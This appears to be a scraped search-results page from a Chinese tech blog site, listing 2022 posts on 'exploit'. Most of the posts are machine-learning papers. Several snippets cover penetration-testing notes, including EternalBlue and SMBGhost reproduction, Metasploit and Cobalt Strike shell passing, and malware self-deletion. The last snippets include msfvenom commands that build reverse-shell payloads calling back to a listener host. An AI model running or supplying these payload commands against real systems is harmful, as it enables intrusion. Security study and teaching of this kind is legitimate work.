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Transformer Meets Tracker: Exploiting Temporal Context for Robust Visual Tracking

TransformerMeetsTracker:ExploitingTemporalContextforRobustVisualTracking前言一、Abstract二、Contribution三、Method1

阿阿阿辉啊·2022-12-01 02:33

单目标追踪——【Transformer】Transformer Meets Tracker:Exploiting Temporal Context for Robust Visual Tracking

TransformerMeetsTracker:ExploitingTemporalContextforRobustVisualT

zz的大穗禾·2022-12-01 02:30

[论文阅读 2021 CVPR-oral 目标跟踪]Transformer Meets Tracker Exploiting Temporal Context for Robust Visual

简介paper:TransformerMeetsTracker:ExploitingTemporalContextforRobustVisualTrackingcode:594422814/TransformerTrack

lingqing97·2022-12-01 02:28

CVPR2021跟踪算法TransformerTrack的配置（Exploiting Temporal Context for Robust Visual Tracking）

1、论文下载地址：TransformerMeetsTracker:ExploitingTemporalContextforRobustVisualTracking.

博博有个大大大的Dream·2022-12-01 02:27

[VOT13](2021CVPR)TrDiMP+TrSiam: Transformer Meets Tracker: Exploiting Temporal Context

先贴一下本文的核心框架图：Abstract发现问题：视频目标跟踪任务中，在连续帧之间存在着丰富的时域上下文关系，其在现存的跟踪器中常常被忽略。本文工作：本文通过transformer结构探索视频帧之间的时间上下文关系，以实现鲁棒的跟踪。不同于NLP领域中经典的transformer使用，本文将编解码器分为2个平行的分支并在Siamesepipeline中仔细地设计编解码器的具体结构。本文具体做法：

三晚不过弦一郎·2022-12-01 02:57

牛啊！2小时复现顶会论文，他的秘诀是——

将从图像修复与处理的经典之作DGP《ExploitingDeepGenerativePriorforVersatileImageRestorationandManipulation》开始，重启精读之路。

PaperWeekly·2022-11-29 07:00

Twin Delayed DDPG(TD3)-强化学习算法

文章目录BackgroundQuickFactsKeyEquationsExplorationvs.ExploitationPseudocodeDocumentationBackground尽管DDPG

Mystery_zero·2022-11-28 13:01

强化学习第一章概述

independentlyidenticallydistribution（iid）延迟奖励delayedReward试错trial-and-errorexploration探索exploration开发exploitation

£•€•×·2022-11-28 09:38

智能优化算法：海鸥算法原理及Matlab代码

智能优化算法：海鸥算法原理及Matlab代码文章导航1.算法原理2.SOA算法流程2.1迁徙行为(explorationability)2.2攻击行为(exploitationability)3.SOA

一枚小博士·2022-11-24 14:54

物联网安全物联网恶意样本分布

从物联网漏洞的利用情况来看，2020年1月至10月，在Exploit

m0_73803866·2022-11-24 06:45

论文速读：Axial-DeepLab: Stand-Alone Axial-Attention for Panoptic Segmentation

Stand-AloneAxial-AttentionforPanopticSegmentationhttps://www.ecva.net/papers/eccv_2020/papers_ECCV/papers/123490103.pdfAbstractConvolutionexploitslocalityforefficiencyatacostofmissinglon

Phoenixtree_DongZhao·2022-11-24 02:02

msf-show

1.msf>showexploitsExploits========NameDisclosureDateRankDescription----------------------------------

weixin_30548917·2022-11-24 00:09

Paper阅读：Exploiting Unintended Feature Leakage in Collaborative Learning

Paper阅读：ExploitingUnintendedFeatureLeakageinCollaborativeLearning文章概述文章内容：1.背景知识1.1推理的分类：1.2联合学习的分类：1

Tris_W·2022-11-23 05:27

论文阅读--Exploiting Unsupervised Data for Emotion Recognition in Conversations

ExploitingUnsupervisedDataforEmotionRecognitioninConversationsWenxiangJiao,MichaelR.Lyu,IrwinKing:ExploitingUnsupervisedDataforEmotionRecognitioninConversations.EMNLP

qishengmoming·2022-11-22 06:05

目标检测“Exploit All the Layers: Fast and Accurate CNN Object Detector with Scale Dependent Pooling and”

在Fast-RCNN的基础上，设计了两种改进方法，一是尺度相关的池化SDP用于提升小尺寸物体检测，二是逐层级联拒绝分类器CRC用于提速。尺度相关池化方法是基于Fast-RCNN的，SDP根据每个proposal的尺寸，从对应的卷积层池化特征。与SDP连接的fc层有与尺寸相关的参数，结构如下图所示:SDP模型的三个分支是conv3,conv4,conv5,每个分支包含2个后续的fc层，ReLU激活及

cv_family_z·2022-11-21 23:26

2021TPAMI/图像处理：Exploiting Deep Generative Prior for Versatile Image Restoration and Manipulation

2021TPAMI/图像处理:ExploitingDeepGenerativePriorforVersatileImageRestorationandManipulation:利用深层生成先验进行多功能图像恢复和处理

HheeFish·2022-11-21 14:41

论文解读: Exploiting Cloze Questions for Few Shot Text Classiﬁcation and Natural Language Inference

前言：在自然语言研究领域，某些自然语言处理任务可以利用“预训练模型+任务描述”方式的无监督学习来解决。然而，已有的“预训练模型+任务描述”的无监督学习方法不如有监督学习方法效果好。此篇论文将二者的想法相结合，提出了一种基于模板（Pattern）的半监督小样本学习方法。论文的贡献主要有两个：1）提出基于模板的半监督训练方法（PET）；2）提出通过模型融合与迭代（iPET）训练多个模型，然后用训练好的

遥望山海·2022-11-21 09:48

开放集域适应文献阅读四

AttractorDistract:ExploittheMarginofOpenSet1问题与挑战2本文贡献3方法3.1总体架构3.2对抗域适应（ADA）3.3语义类别对齐（SCA）3.4语义对比映射（

iQoMo·2022-11-20 15:34

Linux DirtyPipe内核提权漏洞（CVE-2022-0847）

0x01漏洞描述CVE-2022-0847-DirtyPipe-ExploitCVE-2022-0847是存在于Linux内核5.8及之后版本中的本地提权漏洞。

Corl7·2022-11-20 10:23

Prompt-Tuning的鼻祖--PET

PET（Pattern-ExploitingTraining）出自《ExploitingClozeQuestionsforFewShotTextClassificationandNaturalLanguageInference

Pricelesse·2022-11-20 06:35

Protocol - Exploits学习笔记

Protocol-Exploits注:本分类里内容并非全是协议的bug,部分"基于、使用"这个协议的应用所存在的漏洞也算在其中,例如dns域传送漏洞,其并非dns协议本身的漏洞,为服务部署时的配置问题,

C-haidragon·2022-11-20 04:35

【2017-VCIP】LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation

概述像素级语义分割不仅要精度也要速度，现有算法精度有但速度慢。因此本文提出了LinkNet，在不显著增加参数量的情况下进行学习，最后在CamVid数据集上取得了SOTA，Cityscapes数据集上也是类似结果。PaperCode|Pytorch总结创新点：1.编码器和解码器直接相连，共享了学习信息，保留了通常丢失掉的空间信息2.编码器用ResNet18，编解码器参数更少不足：依旧是编解码器分析：

PRSer_Carrot·2022-11-19 19:50

深度学习模型压缩分类及原理方法

代表性的工作有：奇异值分解SVD(NIPS2014)：Exploitinglinearstruc

Mira-Tableau·2022-11-19 09:22

php bypass disable_functions 总结

shell但是却有disable_function限制的题目，一直没有好好搞清楚绕过的方法，今天来一个总结0x00先说一个php7的绕过吧，直接一把梭：（）https://github.com/mm0r1/exploits

kee_ke·2022-11-17 10:26

【漏洞复现】CVE-2020-0796永恒之黑漏洞复现

漏洞检测四、漏洞复现环境五、（1）漏洞利用之蓝屏五、（2）漏洞利用之本地提权五、（3）漏洞利用之反弹shell1、使用msfvenom生成payload2、替换payload3.开启msf监听模块4.运行exploit.py

culprits·2022-11-13 19:21

WIN10永恒之黑CVE-2020-0796漏洞复现获取getshell（未成功）可蓝屏

exploit:https://codechina.csdn.net/mirrors/chompie1337/SMBGhost_RCE_PoC?

榜下无名·2022-11-13 19:50

永恒之黑漏洞复现

永恒之黑1.准备工作：测试连通性，并验证漏洞的存在2.利用msfvenom生成payload替换USER_PAYLOAD为用msfvenom生成的payload3.开启MSF进行监听4.执行exploit.py

燕返故人归来·2022-11-13 19:47

DeepExploit——基于强化学习的自动渗透工具

文章目录1.研究背景1.1自动化渗透测试研究背景1.2DeepExploit简介1.3Metasploit简介1.3.1Metasploit渗透步骤——以MS17-010为例1.3.2Metasploit

Zichel77·2022-11-13 11:21

机器学习算法（三十）：强化学习（Reinforcement Learning）

强化学习的主要特点1.3强化学习的组成部分2强化学习训练过程3强化学习算法归类3.1ValueBased3.2PolicyBased3.3Actor-Critic3.4其他分类4EE（Explore&Exploit

意念回复·2022-11-07 08:25

metasploit（十）漏洞攻击exploit代码编写

exploit格式：1.攻击载荷信息块2.需要提供可用目标的列表3.尽量使用exploit()和check()函数，少使用run函数例如以下：require'msf/core'#引入core库的内容classMetasploit3

6321·2022-10-30 18:55

面向初学者的蒙特卡洛树搜索MCTS详解及其实现

目录0.序言1.蒙特卡洛算法的前身今世2.蒙特卡洛搜索算法的原理2.1ExplorationandExploitation（探索与利用）2.2UpperConfidenceBounds（UCB）2.3蒙特卡罗搜索的基本操作

彩虹糖梦·2022-10-30 12:11

攻击者对 Exploit-DB平台的利用分析

如知名漏洞利用平台Exploit-DB中约17.39%的物联网相关漏洞被攻击者利用，且从披露到首次在野利用最短仅需1天。可见，物联网漏洞利用是一种成本低、收益高的攻击

m0_73803866·2022-10-23 12:17

Metasploit学习笔记（六）——Meterpreter后渗透之Hash攻击提权（包含Mimikatz）

1.还是先获取计算机权限针对WIN7，还是用永恒之蓝msfconsoleuseexploit/windows/smb/ms17_010_eternalblue//利用永恒之蓝漏洞setpayloadwindows

Zichel77·2022-10-12 20:11

Socially-Aware Self-Supervised Tri-Training forRecommendation

Theexistingself-supervisedlearning(SSL)methodsmainlyconductself-discriminationbasedcontrastivelearning,whereagivennodecanjustexploittheinformationfromitselfinanotherview.Incontrast

_penghnu·2022-09-26 07:48

C/C++恶意代码盘点之文件自动删除

目录前言1、MoveFileEx重启删除源代码实现2、利用批处理命令删除具体流程源代码实现前言恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot)、Exploit

·2022-09-22 03:15

DeepExploit——当Metasploit遇上机器学习

MetasploitMeetsMachineLearning文章目录MetasploitMeetsMachineLearning1.Metasploit准备1.1与外部项目的合作1.1.1启用RPCAPI1.1.2使用RPCAPI操作Metasploit2.创建机器学习模型2.1DQN2.2A3C2.2.1CartPole2.2.2分布式学习机制3.深度利用3.1代理任务3.2当前状态3.2.1O

Zichel77·2022-09-19 07:14

网中人《shell十三问》简体版整理

原文地址：http://bbs.chinaunix.net/thread-218853-1-1.html转载自：https://blog.csdn.net/freexploit/article/details

huayangshiboqi·2022-09-15 18:17

BUG搜集平台及扫描利用

www.cvedetails.com/https://nox.qianxin.com/https://cve.mitre.org/2.漏洞利用工具poc/expPOC:ProofofConceptExp：exploit

路远3306·2022-09-14 14:34

强化学习（第二版）Sutton - 第二章习题答案和解析

A：0.5的概率选择开发（exploitation）

born-in-freedom·2022-09-11 07:32

Cobalt strike 派生shell给MSF

Cobaltstrike派生shell给MSF,前提是要有beaconshell：在msf使用监听模块,并设置相关选项：useexploit/multi/handlesetpayloadwindows/

=(^.^)=哈哈哈·2022-09-10 22:53

CobaltStrike与Metasploit会话相互派生

MSF步骤CS创建Foreign监听器MSF设置监听和同类型payloadCS执行Spawn派生到MSF对应的监听器1.1CS创建Foreign监听器1.1MSF设置监听和同类型payload使用监听器exploit

半只特立独行的猪·2022-09-10 22:21

Cobalt Strike之与msf互相派生shell

一，msf派生shell给cobalstrike1，cs添加监听器2，msf上在已经获取到的会话(shell)中注入一个新的payloadmsfexploit(handler)>useexploit/windows

shy014·2022-09-10 22:51

Cobalt Strike会话管理

CS会话1增加CS会话添加新侦听器在获得的session会话中选择"新建会话（spawn）"：选择新添加的侦听器获取到新的会话2利用CS会话生成MSF会话添加新外部侦听器配置MSF如下msf6>useexploit

f_carey·2022-09-10 22:19

内网渗透中的反弹Shell与端口转发

msfpayloadphp/reverse_phpLHOST=x.x.x.xLPORT=2333R>re.php将文件传入shell中,在msf中开一个handlermsf>usemulti/handlermsfexploit

weixin_30485799·2022-09-02 17:36

后渗透之权限提升(2)

方法1提高程序运行级别提权使用的msf模块（此模块需要用户进行交互）Exploit/windows/local/ask连接收到目标主机之后，获取sessions进入到这个sessions中sessions-i2

凉城木槿·2022-09-02 17:33

后渗透阶之环境准备(1)

生成木马程序msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.2.128lport=4444-fexe>msf.exe开启msfconsole使用exploit